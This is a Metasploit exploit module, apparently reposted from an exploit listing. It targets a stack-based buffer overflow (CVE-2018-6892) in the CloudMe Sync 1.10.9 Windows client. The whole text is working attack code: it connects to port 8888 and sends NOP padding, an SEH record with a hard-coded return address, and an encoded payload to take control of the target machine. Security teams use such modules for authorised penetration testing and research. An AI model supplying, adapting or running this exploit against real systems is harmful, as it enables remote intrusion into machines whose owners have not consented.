ExploitFixes
CloudMe Sync 1.10.9 - Stack-Based Buffer Overflow (Metasploit) 2018-02-26 17:05:14

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'CloudMe Sync v1.10.9',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability
in CloudMe Sync v1.10.9 client application. This module has been
tested successfully on Windows 7 SP1 x86.
},
'License' => MSF_LICENSE,
'Author' =>
[
'hyp3rlinx', # Original exploit author
'Daniel Teixeira' # MSF module author
],
'References' =>
[
[ 'CVE', '2018-6892'],
[ 'EDB', '44027' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00",
},
'Targets' =>
[
[ 'CloudMe Sync v1.10.9',
{
'Offset' => 2232,
'Ret' => 0x61e7b7f6
}
]
],
'Privileged' => true,
'DisclosureDate' => 'Jan 17 2018',
'DefaultTarget' => 0))

register_options([Opt::RPORT(8888)])

end

def exploit
connect

buffer = make_nops(target['Offset'])
buffer << generate_seh_record(target.ret)
buffer << payload.encoded

sock.put(buffer)
handler
end
end